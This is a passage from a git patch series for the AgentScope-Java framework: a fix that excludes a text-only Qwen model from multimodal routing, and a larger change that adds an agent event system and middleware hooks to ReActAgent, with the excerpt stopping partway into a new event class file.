00:00:00 2001 From: AlbertoWang <54181191+AlbertoWang@users.noreply.github.com> Date: Fri, 22 May 2026 10:02:25 +0800 Subject: [PATCH 4/9] fix(models): exclude qwen3.6-max-preview from multimodal detection (#1460) qwen3.6-max-preview is a text-only model and should not be routed to the multimodal-generation API. Add a reverse exclusion in DashScopeHttpClient#isMultimodalModel and document the qwen3.6 reverse-exclusion rule in the method Javadoc. ## AgentScope-Java Version [The version of AgentScope-Java you are working on, e.g. 1.0.12, check your pom.xml dependency version or run `mvn dependency:tree | grep agentscope-parent:pom`(only mac/linux)] ## Description [Please describe the background, purpose, changes made, and how to test this PR] ## Checklist Please check the following items before code is ready to be reviewed. - [x] Code has been formatted with `mvn spotless:apply` - [x] All tests are passing (`mvn test`) - [x] Javadoc comments are complete and follow project conventions - [x] Related documentation has been updated (e.g. links, examples, etc.) - [x] Code is ready for review --- .../io/agentscope/core/model/DashScopeHttpClient.java | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/agentscope-core/src/main/java/io/agentscope/core/model/DashScopeHttpClient.java b/agentscope-core/src/main/java/io/agentscope/core/model/DashScopeHttpClient.java index 54349edb5..888574e8f 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/model/DashScopeHttpClient.java +++ b/agentscope-core/src/main/java/io/agentscope/core/model/DashScopeHttpClient.java @@ -374,6 +374,12 @@ public String selectEndpoint(String modelName, EndpointType endpointType) { *

  • Models containing "kimi-k2.5"/"kimi-k2.6" (e.g., kimi-k2.6, kimi/kimi-k2.5)
    • * * + *

    Reverse exclusion rules (models matching the patterns above but treated as non-multimodal): + *

      + *
    • Models starting with "qwen3.6": currently excludes "qwen3.6-max-preview", + * which is a text-only model and should not be routed to the multimodal API.
      • + *
    + * * @param modelName the model name * @return true if the model is a multimodal model */ @@ -382,6 +388,10 @@ public static boolean isMultimodalModel(String modelName) { return false; } String lowerModelName = modelName.toLowerCase(); + // Reverse exclusion: certain qwen3.6-prefixed models are text-only. + if (lowerModelName.equals("qwen3.6-max-preview")) { + return false; + } return lowerModelName.startsWith("qvq") || lowerModelName.contains("-vl") || lowerModelName.contains("-asr") From e26e8cec55ee6b419c5131ef88a411ec1fb1f81e Mon Sep 17 00:00:00 2001 From: xiaojing Date: Thu, 21 May 2026 19:45:25 +0800 Subject: [PATCH 5/9] feat(core): add AgentEvent system + Middleware framework + event stream refactoring (#1449) --- .../java/io/agentscope/core/ReActAgent.java | 561 ++++++++++++++++-- .../io/agentscope/core/event/AgentEvent.java | 94 +++ .../agentscope/core/event/AgentEventType.java | 71 +++ .../agentscope/core/event/ConfirmResult.java | 45 ++ .../core/event/DataBlockDeltaEvent.java | 62 ++ .../core/event/DataBlockEndEvent.java | 54 ++ .../core/event/DataBlockStartEvent.java | 54 ++ .../core/event/ExceedMaxItersEvent.java | 65 ++ .../event/ExternalExecutionResultEvent.java | 59 ++ .../core/event/ModelCallEndEvent.java | 58 ++ .../core/event/ModelCallStartEvent.java | 49 ++ .../agentscope/core/event/ReplyEndEvent.java | 49 ++ .../core/event/ReplyStartEvent.java | 73 +++ .../event/RequireExternalExecutionEvent.java | 59 ++ .../core/event/RequireUserConfirmEvent.java | 59 ++ .../core/event/TextBlockDeltaEvent.java | 62 ++ .../core/event/TextBlockEndEvent.java | 54 ++ .../core/event/TextBlockStartEvent.java | 54 ++ .../core/event/ThinkingBlockDeltaEvent.java | 62 ++ .../core/event/ThinkingBlockEndEvent.java | 54 ++ .../core/event/ThinkingBlockStartEvent.java | 54 ++ .../core/event/ToolCallDeltaEvent.java | 65 ++ .../core/event/ToolCallEndEvent.java | 54 ++ .../core/event/ToolCallStartEvent.java | 62 ++ .../core/event/ToolResultDataDeltaEvent.java | 63 ++ .../core/event/ToolResultEndEvent.java | 63 ++ .../core/event/ToolResultStartEvent.java | 62 ++ .../core/event/ToolResultTextDeltaEvent.java | 62 ++ .../core/event/UserConfirmResultEvent.java | 58 ++ .../agentscope/core/message/ContentBlock.java | 7 +- .../io/agentscope/core/message/HintBlock.java | 56 ++ .../core/message/ToolCallState.java | 41 ++ .../core/message/ToolResultBlock.java | 49 +- .../core/message/ToolResultState.java | 41 ++ .../agentscope/core/message/ToolUseBlock.java | 61 +- .../core/middleware/ActingInput.java | 26 + .../core/middleware/Middleware.java | 129 ++++ .../core/middleware/MiddlewareChain.java | 71 +++ .../core/middleware/ModelCallInput.java | 33 ++ .../core/middleware/ReasoningInput.java | 30 + .../core/middleware/ReplyInput.java | 26 + 41 files changed, 2748 insertions(+), 63 deletions(-) create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/AgentEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ConfirmResult.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/DataBlockDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/DataBlockEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/DataBlockStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ExceedMaxItersEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ExternalExecutionResultEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ModelCallEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ModelCallStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ReplyEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ReplyStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/RequireExternalExecutionEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/RequireUserConfirmEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/TextBlockDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/TextBlockEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/TextBlockStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolCallDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolCallEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolCallStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolResultDataDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolResultEndEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolResultStartEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/ToolResultTextDeltaEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/event/UserConfirmResultEvent.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/message/HintBlock.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/message/ToolCallState.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/message/ToolResultState.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/ActingInput.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/Middleware.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/MiddlewareChain.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/ModelCallInput.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/ReasoningInput.java create mode 100644 agentscope-core/src/main/java/io/agentscope/core/middleware/ReplyInput.java diff --git a/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java b/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java index aa74dfea8..04147d95c 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java +++ b/agentscope-core/src/main/java/io/agentscope/core/ReActAgent.java @@ -21,6 +21,25 @@ import io.agentscope.core.agent.StreamOptions; import io.agentscope.core.agent.StructuredOutputCapableAgent; import io.agentscope.core.agent.accumulator.ReasoningContext; +import io.agentscope.core.event.AgentEvent; +import io.agentscope.core.event.ExceedMaxItersEvent; +import io.agentscope.core.event.ModelCallEndEvent; +import io.agentscope.core.event.ModelCallStartEvent; +import io.agentscope.core.event.ReplyEndEvent; +import io.agentscope.core.event.ReplyStartEvent; +import io.agentscope.core.event.TextBlockDeltaEvent; +import io.agentscope.core.event.TextBlockEndEvent; +import io.agentscope.core.event.TextBlockStartEvent; +import io.agentscope.core.event.ThinkingBlockDeltaEvent; +import io.agentscope.core.event.ThinkingBlockEndEvent; +import io.agentscope.core.event.ThinkingBlockStartEvent; +import io.agentscope.core.event.ToolCallDeltaEvent; +import io.agentscope.core.event.ToolCallEndEvent; +import io.agentscope.core.event.ToolCallStartEvent; +import io.agentscope.core.event.ToolResultDataDeltaEvent; +import io.agentscope.core.event.ToolResultEndEvent; +import io.agentscope.core.event.ToolResultStartEvent; +import io.agentscope.core.event.ToolResultTextDeltaEvent; import io.agentscope.core.hook.ActingChunkEvent; import io.agentscope.core.hook.Hook; import io.agentscope.core.hook.HookEvent; @@ -49,11 +68,19 @@ import io.agentscope.core.message.TextBlock; import io.agentscope.core.message.ThinkingBlock; import io.agentscope.core.message.ToolResultBlock; +import io.agentscope.core.message.ToolResultState; import io.agentscope.core.message.ToolUseBlock; +import io.agentscope.core.middleware.ActingInput; +import io.agentscope.core.middleware.Middleware; +import io.agentscope.core.middleware.MiddlewareChain; +import io.agentscope.core.middleware.ModelCallInput; +import io.agentscope.core.middleware.ReasoningInput; +import io.agentscope.core.middleware.ReplyInput; import io.agentscope.core.model.ExecutionConfig; import io.agentscope.core.model.GenerateOptions; import io.agentscope.core.model.Model; import io.agentscope.core.model.StructuredOutputReminder; +import io.agentscope.core.model.ToolSchema; import io.agentscope.core.plan.PlanNotebook; import io.agentscope.core.rag.GenericRAGHook; import io.agentscope.core.rag.Knowledge; @@ -83,11 +110,17 @@ import java.util.List; import java.util.Map; import java.util.Set; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; +import java.util.function.Function; import java.util.stream.Collectors; import java.util.stream.IntStream; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import reactor.core.publisher.Flux; +import reactor.core.publisher.FluxSink; import reactor.core.publisher.Mono; /** @@ -155,6 +188,7 @@ public class ReActAgent extends StructuredOutputCapableAgent { private final PlanNotebook planNotebook; private final ToolExecutionContext toolExecutionContext; private final StatePersistence statePersistence; + private final List middlewares; private RuntimeContext pendingRuntimeContext; /** @@ -167,6 +201,8 @@ public class ReActAgent extends StructuredOutputCapableAgent { private final java.util.concurrent.atomic.AtomicReference currentSystemMsg = new java.util.concurrent.atomic.AtomicReference<>(); + private final AtomicReference> activeEventSink = new AtomicReference<>(); + // ==================== Constructor ==================== private ReActAgent(Builder builder, Toolkit agentToolkit) { @@ -191,6 +227,7 @@ private ReActAgent(Builder builder, Toolkit agentToolkit) { builder.statePersistence != null ? builder.statePersistence : StatePersistence.all(); + this.middlewares = List.copyOf(builder.middlewares); } // ==================== RuntimeContext ==================== @@ -209,14 +246,26 @@ protected void beforeAgentExecution(List msgs) { @Override protected Msg seedSystemMsg() { - if (sysPrompt != null && !sysPrompt.trim().isEmpty()) { - return Msg.builder() - .name("system") - .role(MsgRole.SYSTEM) - .content(TextBlock.builder().text(sysPrompt).build()) - .build(); + if (sysPrompt == null || sysPrompt.trim().isEmpty()) { + return null; } - return null; + String prompt = applySystemPromptMiddlewares(sysPrompt); + return Msg.builder() + .name("system") + .role(MsgRole.SYSTEM) + .content(TextBlock.builder().text(prompt).build()) + .build(); + } + + private String applySystemPromptMiddlewares(String prompt) { + if (middlewares.isEmpty()) { + return prompt; + } + Mono result = Mono.just(prompt); + for (Middleware mw : middlewares) { + result = result.flatMap(p -> mw.onSystemPrompt(this, p)); + } + return result.block(); } @Override @@ -278,6 +327,46 @@ public Flux stream( return stream(msgs, options, schema); } + /** + * Stream fine-grained {@link AgentEvent}s from the full agent lifecycle. + * + *

    This method goes through the same lifecycle as {@code call()} (acquire execution, + * hooks, pre/post call notification) but exposes the internal event stream. The lifecycle + * is driven by {@code call()} internally; events are captured via the shared + * {@code activeEventSink}. + * + * @param msgs input messages + * @return event stream covering the full reply lifecycle + */ + public Flux streamEvents(List msgs) { + String replyId = UUID.randomUUID().toString().replace("-", ""); + return Flux.create( + sink -> { + activeEventSink.set(sink); + sink.next(new ReplyStartEvent(null, replyId, getName())); + call(msgs) + .doFinally( + signal -> { + sink.next(new ReplyEndEvent(replyId)); + activeEventSink.set(null); + sink.complete(); + }) + .subscribe(finalMsg -> {}, sink::error); + }, + FluxSink.OverflowStrategy.BUFFER) + .doOnError(e -> activeEventSink.set(null)); + } + + /** + * Stream fine-grained {@link AgentEvent}s for a single input message. + * + * @param msg input message + * @return event stream covering the full reply lifecycle + */ + public Flux streamEvents(Msg msg) { + return streamEvents(List.of(msg)); + } + // ==================== New StateModule API ==================== /** @@ -397,6 +486,52 @@ protected Mono doCall(List msgs) { + pendingIds); } + /** + * Execute the full reply as a {@link Flux} of fine-grained {@link AgentEvent}s. + * + *

    This method wraps the existing {@code doCall()} logic and captures all events emitted + * by the internal stream methods ({@code reasoningStream}, {@code actingStream}, + * {@code summaryStream}). The stream is bookended by {@link ReplyStartEvent} and + * {@link ReplyEndEvent}. + * + * @param msgs the input messages + * @return event stream covering the full reply lifecycle + */ + Flux replyImpl(List msgs) { + String replyId = UUID.randomUUID().toString().replace("-", ""); + + Function> core = + input -> + Flux.create( + sink -> { + activeEventSink.set(sink); + sink.next( + new ReplyStartEvent(null, replyId, getName())); + + doCall(input.msgs()) + .doFinally( + signal -> { + sink.next( + new ReplyEndEvent(replyId)); + activeEventSink.set(null); + sink.complete(); + }) + .subscribe(finalMsg -> {}, sink::error); + }, + FluxSink.OverflowStrategy.BUFFER) + .doOnError(e -> activeEventSink.set(null)); + + return MiddlewareChain.build(middlewares, this, Middleware::onReply, core) + .apply(new ReplyInput(msgs)); + } + + private void publishEvent(AgentEvent event) { + FluxSink sink = activeEventSink.get(); + if (sink != null) { + sink.next(event); + } + } + /** * Build a {@link ToolResultBlock} representing a tool execution error. * @@ -567,7 +702,7 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { return checkInterruptedAsync() .then(notifyPreReasoningEvent(memory.getMessages())) - .flatMapMany( + .flatMap( event -> { GenerateOptions options = event.getEffectiveGenerateOptions() != null @@ -576,18 +711,25 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { List modelInput = prependSystemMsg( event.getInputMessages(), event.getSystemMessage()); - return model.stream(modelInput, toolkit.getToolSchemas(), options) - .concatMap(chunk -> checkInterruptedAsync().thenReturn(chunk)); + List tools = toolkit.getToolSchemas(); + Function> reasoningCore = + ri -> + reasoningStream( + context, + ri.messages(), + ri.tools(), + ri.options()); + Flux stream = + MiddlewareChain.build( + middlewares, + ReActAgent.this, + Middleware::onReasoning, + reasoningCore) + .apply(new ReasoningInput(modelInput, tools, options)); + return stream.then( + Mono.defer( + () -> Mono.justOrEmpty(context.buildFinalMessage()))); }) - .doOnNext( - chunk -> { - List chunkMsgs = context.processChunk(chunk); - // Notify streaming hooks for each chunk message - for (Msg msg : chunkMsgs) { - notifyReasoningChunk(msg, context).subscribe(); - } - }) - .then(Mono.defer(() -> Mono.justOrEmpty(context.buildFinalMessage()))) .onErrorResume( InterruptedException.class, error -> { @@ -599,8 +741,6 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { .getConfig() .partialReasoningPolicy() == PartialReasoningPolicy.DISCARD; - // Manually interruption will save the msg, while system - // interruption will discard on specific config if (!discard) { memory.addMessage(msg); } @@ -624,12 +764,10 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { // gotoReasoning requested (e.g., by StructuredOutputHook) if (event.isGotoReasoningRequested()) { - // Validation already done in PostReasoningEvent.gotoReasoning() List gotoMsgs = event.getGotoReasoningMsgs(); if (gotoMsgs != null) { gotoMsgs.forEach(memory::addMessage); } - // Continue to next iteration, ignoring maxIters for this entry return reasoning(iter + 1, true); } @@ -649,6 +787,134 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { })); } + /** + * Stream fine-grained {@link AgentEvent}s from a model call during reasoning. + * + *

    Emits: {@link ModelCallStartEvent} → block start/delta/end events → {@link + * ModelCallEndEvent}. The provided {@link ReasoningContext} is used to accumulate chunks + * (for building the final {@link Msg}) and to notify legacy {@link Hook}s. + * + * @param context reasoning context for chunk accumulation + * @param messages the messages to send to the model + * @param tools the tool schemas available + * @param options generation options + * @return event stream from a single model call + */ + Flux reasoningStream( + ReasoningContext context, + List messages, + List tools, + GenerateOptions options) { + + Function> modelCallCore = + mci -> modelCallStream(context, mci, true); + + return MiddlewareChain.build(middlewares, this, Middleware::onModelCall, modelCallCore) + .apply(new ModelCallInput(messages, tools, options, model)) + .doOnNext(this::publishEvent); + } + + private Flux modelCallStream( + ReasoningContext context, ModelCallInput mci, boolean withToolEvents) { + + String replyId = UUID.randomUUID().toString().replace("-", ""); + AtomicBoolean textStarted = new AtomicBoolean(false); + AtomicBoolean thinkingStarted = new AtomicBoolean(false); + Set startedToolCalls = ConcurrentHashMap.newKeySet(); + + Flux modelEvents = + mci.model().stream(mci.messages(), mci.tools(), mci.options()) + .concatMap(chunk -> checkInterruptedAsync().thenReturn(chunk)) + .concatMap( + chunk -> { + List chunkMsgs = context.processChunk(chunk); + for (Msg msg : chunkMsgs) { + notifyReasoningChunk(msg, context).subscribe(); + } + + List events = new ArrayList<>(); + for (ContentBlock block : chunk.getContent()) { + emitBlockEvents( + block, + replyId, + context, + textStarted, + thinkingStarted, + withToolEvents + ? startedToolCalls + : ConcurrentHashMap.newKeySet(), + events); + } + return Flux.fromIterable(events); + }); + + Flux endEvents = + Flux.defer( + () -> { + List events = new ArrayList<>(); + if (textStarted.get()) { + events.add(new TextBlockEndEvent(replyId, "text")); + } + if (thinkingStarted.get()) { + events.add(new ThinkingBlockEndEvent(replyId, "thinking")); + } + for (String toolId : startedToolCalls) { + events.add(new ToolCallEndEvent(replyId, toolId)); + } + events.add(new ModelCallEndEvent(replyId, context.getChatUsage())); + return Flux.fromIterable(events); + }); + + return Flux.concat(Flux.just(new ModelCallStartEvent(replyId)), modelEvents, endEvents); + } + + private void emitBlockEvents( + ContentBlock block, + String replyId, + ReasoningContext context, + AtomicBoolean textStarted, + AtomicBoolean thinkingStarted, + Set startedToolCalls, + List events) { + + if (block instanceof TextBlock tb) { + if (textStarted.compareAndSet(false, true)) { + events.add(new TextBlockStartEvent(replyId, "text")); + } + if (tb.getText() != null && !tb.getText().isEmpty()) { + events.add(new TextBlockDeltaEvent(replyId, "text", tb.getText())); + } + } else if (block instanceof ThinkingBlock tb) { + if (thinkingStarted.compareAndSet(false, true)) { + events.add(new ThinkingBlockStartEvent(replyId, "thinking")); + } + if (tb.getThinking() != null && !tb.getThinking().isEmpty()) { + events.add(new ThinkingBlockDeltaEvent(replyId, "thinking", tb.getThinking())); + } + } else if (block instanceof ToolUseBlock tub) { + String toolId = resolveToolCallId(tub, context); + if (toolId != null && startedToolCalls.add(toolId)) { + String toolName = tub.getName(); + if (toolName != null && !toolName.startsWith("__")) { + events.add(new ToolCallStartEvent(replyId, toolId, toolName)); + } + } + if (tub.getContent() != null && !tub.getContent().isEmpty()) { + events.add( + new ToolCallDeltaEvent( + replyId, toolId != null ? toolId : "", tub.getContent())); + } + } + } + + private String resolveToolCallId(ToolUseBlock tub, ReasoningContext context) { + if (tub.getId() != null && !tub.getId().isEmpty()) { + return tub.getId(); + } + ToolUseBlock accumulated = context.getAccumulatedToolCall(null); + return accumulated != null ? accumulated.getId() : null; + } + /** * Execute the acting phase. * @@ -667,24 +933,32 @@ private Mono reasoning(int iter, boolean ignoreMaxIters) { * @return Mono containing the final result message */ private Mono acting(int iter) { - // Extract only pending tool calls (those without results in memory) List pendingToolCalls = extractPendingToolCalls(); if (pendingToolCalls.isEmpty()) { - // No pending tools have been executed, continue to next iteration return executeIteration(iter + 1); } - // Forward tool chunks into ActingChunkEvent hooks without overwriting user callbacks. - toolkit.setInternalChunkCallback( - (toolUse, chunk) -> notifyActingChunk(toolUse, chunk).subscribe()); + String replyId = UUID.randomUUID().toString().replace("-", ""); + AtomicReference>> resultHolder = + new AtomicReference<>(); - // Execute only pending tools (those without results in memory) return notifyPreActingHooks(pendingToolCalls) - .flatMap(this::executeToolCalls) + .flatMap( + toolCalls -> { + Function> actingCore = + ai -> actingStream(ai.toolCalls(), replyId, resultHolder); + Flux stream = + MiddlewareChain.build( + middlewares, + this, + Middleware::onActing, + actingCore) + .apply(new ActingInput(toolCalls)); + return stream.then(Mono.defer(() -> Mono.just(resultHolder.get()))); + }) .flatMap( results -> { - // Separate success and pending results List> successPairs = results.stream() .filter(e -> !e.getValue().isSuspended()) @@ -694,7 +968,6 @@ private Mono acting(int iter) { .filter(e -> e.getValue().isSuspended()) .toList(); - // If no success results to process if (successPairs.isEmpty()) { if (!pendingPairs.isEmpty()) { return Mono.just(buildSuspendedMsg(pendingPairs)); @@ -702,14 +975,11 @@ private Mono acting(int iter) { return executeIteration(iter + 1); } - // Process success results through hooks and add to memory return Flux.fromIterable(successPairs) .concatMap(this::notifyPostActingHook) .last() .flatMap( event -> { - // HITL stop (also triggered by - // StructuredOutputHook when completed) if (event.isStopRequested()) { return Mono.just( event.getToolResultMsg() @@ -718,18 +988,104 @@ private Mono acting(int iter) { .ACTING_STOP_REQUESTED)); } - // If there are pending results, build suspended Msg if (!pendingPairs.isEmpty()) { return Mono.just( buildSuspendedMsg(pendingPairs)); } - // Continue next iteration return executeIteration(iter + 1); }); }); } + /** + * Stream fine-grained {@link AgentEvent}s from tool execution during the acting phase. + * + *

    Emits: {@link ToolResultStartEvent} → delta events → {@link ToolResultEndEvent} + * for each tool call. The provided {@code resultHolder} is populated with the execution + * results so the caller can process them afterward. + * + * @param toolCalls the tool calls to execute + * @param replyId the reply identifier for event correlation + * @param resultHolder populated with tool execution results on completion + * @return event stream from tool execution + */ + Flux actingStream( + List toolCalls, + String replyId, + AtomicReference>> resultHolder) { + + return Flux.create( + sink -> { + for (ToolUseBlock tool : toolCalls) { + sink.next( + new ToolResultStartEvent( + replyId, tool.getId(), tool.getName())); + } + + toolkit.setInternalChunkCallback( + (toolUse, chunk) -> { + if (chunk.getOutput() != null) { + for (ContentBlock block : chunk.getOutput()) { + if (block instanceof TextBlock tb) { + sink.next( + new ToolResultTextDeltaEvent( + replyId, + toolUse.getId(), + tb.getText())); + } else { + sink.next( + new ToolResultDataDeltaEvent( + replyId, + toolUse.getId(), + block)); + } + } + } + notifyActingChunk(toolUse, chunk).subscribe(); + }); + + executeToolCalls(toolCalls) + .subscribe( + results -> { + resultHolder.set(results); + for (Map.Entry + entry : results) { + ToolResultState state = + determineToolResultState( + entry.getValue()); + sink.next( + new ToolResultEndEvent( + replyId, + entry.getKey().getId(), + state)); + } + sink.complete(); + }, + sink::error); + }) + .doOnNext(this::publishEvent); + } + + private ToolResultState determineToolResultState(ToolResultBlock result) { + if (result.isSuspended()) { + return ToolResultState.RUNNING; + } + if (result.getState() != null && result.getState() != ToolResultState.RUNNING) { + return result.getState(); + } + if (result.getOutput() != null + && result.getOutput().stream() + .anyMatch( + b -> + b instanceof TextBlock tb + && tb.getText() != null + && tb.getText().startsWith("[ERROR]"))) { + return ToolResultState.ERROR; + } + return ToolResultState.SUCCESS; + } + /** * Build a message containing suspended tool calls for user execution. * @@ -852,6 +1208,8 @@ protected Mono summarizing() { List messageList = prepareSummaryMessages(); GenerateOptions generateOptions = buildGenerateOptions(); + ReasoningContext context = new ReasoningContext(getName()); + publishEvent(new ExceedMaxItersEvent("", maxIters, maxIters)); return notifyPreSummaryHook(messageList, generateOptions) .flatMap( @@ -863,7 +1221,12 @@ protected Mono summarizing() { GenerateOptions effectiveOptions = preSummaryEvent.getEffectiveGenerateOptions(); - return streamAndAccumulateSummary(effectiveMessages, effectiveOptions) + return summaryStream(context, effectiveMessages, effectiveOptions) + .then( + Mono.defer( + () -> + Mono.justOrEmpty( + context.buildFinalMessage()))) .flatMap( msg -> notifyPostSummaryHook(msg, effectiveOptions) @@ -882,21 +1245,92 @@ protected Mono summarizing() { .onErrorResume(this::handleSummaryError); } - private Mono streamAndAccumulateSummary( - List messages, GenerateOptions generateOptions) { - return model.stream(messages, null, generateOptions) - .concatMap(chunk -> checkInterruptedAsync().thenReturn(chunk)) - .reduce( - new ReasoningContext(getName()), - (ctx, chunk) -> { - List streamedMessages = ctx.processChunk(chunk); - for (Msg streamedMessage : streamedMessages) { - notifySummaryChunk(streamedMessage, ctx, generateOptions) - .subscribe(); + /** + * Stream fine-grained {@link AgentEvent}s from a model call during summarization. + * + *

    Structurally identical to {@link #reasoningStream} but notifies summary-specific + * hooks ({@link SummaryChunkEvent}) and does not pass tool schemas to the model. + * + * @param context reasoning context for chunk accumulation + * @param messages the messages to send to the model + * @param options generation options + * @return event stream from the summary model call + */ + Flux summaryStream( + ReasoningContext context, List messages, GenerateOptions options) { + + Function> summaryModelCallCore = + mci -> summaryModelCallStream(context, mci, options); + + return MiddlewareChain.build( + middlewares, this, Middleware::onModelCall, summaryModelCallCore) + .apply(new ModelCallInput(messages, null, options, model)) + .doOnNext(this::publishEvent); + } + + private Flux summaryModelCallStream( + ReasoningContext context, ModelCallInput mci, GenerateOptions hookOptions) { + + String replyId = UUID.randomUUID().toString().replace("-", ""); + AtomicBoolean textStarted = new AtomicBoolean(false); + AtomicBoolean thinkingStarted = new AtomicBoolean(false); + + Flux modelEvents = + mci.model().stream(mci.messages(), mci.tools(), mci.options()) + .concatMap(chunk -> checkInterruptedAsync().thenReturn(chunk)) + .concatMap( + chunk -> { + List chunkMsgs = context.processChunk(chunk); + for (Msg msg : chunkMsgs) { + notifySummaryChunk(msg, context, hookOptions).subscribe(); + } + + List events = new ArrayList<>(); + for (ContentBlock block : chunk.getContent()) { + if (block instanceof TextBlock tb) { + if (textStarted.compareAndSet(false, true)) { + events.add( + new TextBlockStartEvent(replyId, "text")); + } + if (tb.getText() != null && !tb.getText().isEmpty()) { + events.add( + new TextBlockDeltaEvent( + replyId, "text", tb.getText())); + } + } else if (block instanceof ThinkingBlock tb) { + if (thinkingStarted.compareAndSet(false, true)) { + events.add( + new ThinkingBlockStartEvent( + replyId, "thinking")); + } + if (tb.getThinking() != null + && !tb.getThinking().isEmpty()) { + events.add( + new ThinkingBlockDeltaEvent( + replyId, + "thinking", + tb.getThinking())); + } + } + } + return Flux.fromIterable(events); + }); + + Flux endEvents = + Flux.defer( + () -> { + List events = new ArrayList<>(); + if (textStarted.get()) { + events.add(new TextBlockEndEvent(replyId, "text")); } - return ctx; - }) - .map(ReasoningContext::buildFinalMessage); + if (thinkingStarted.get()) { + events.add(new ThinkingBlockEndEvent(replyId, "thinking")); + } + events.add(new ModelCallEndEvent(replyId, context.getChatUsage())); + return Flux.fromIterable(events); + }); + + return Flux.concat(Flux.just(new ModelCallStartEvent(replyId)), modelEvents, endEvents); } private List prepareSummaryMessages() { @@ -1239,6 +1673,7 @@ public static class Builder { private ExecutionConfig toolExecutionConfig; private GenerateOptions generateOptions; private final Set hooks = new LinkedHashSet<>(); + private final List middlewares = new ArrayList<>(); private boolean enableMetaTool = false; private StructuredOutputReminder structuredOutputReminder = StructuredOutputReminder.TOOL_CHOICE; @@ -1372,6 +1807,28 @@ public Builder hooks(List hooks) { return this; } + /** + * Adds a middleware for intercepting agent execution. + * + * @param middleware the middleware to add + * @return this builder instance for method chaining + */ + public Builder middleware(Middleware middleware) { + this.middlewares.add(middleware); + return this; + } + + /** + * Adds multiple middlewares for intercepting agent execution. + * + * @param middlewares the list of middlewares to add + * @return this builder instance for method chaining + */ + public Builder middlewares(List middlewares) { + this.middlewares.addAll(middlewares); + return this; + } + /** * Enables or disables the meta-tool functionality. * diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEvent.java new file mode 100644 index 000000000..c870b5949 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEvent.java @@ -0,0 +1,94 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonSubTypes; +import com.fasterxml.jackson.annotation.JsonTypeInfo; +import java.time.Instant; +import java.util.UUID; + +/** + * Base class for all fine-grained agent events. + * + *

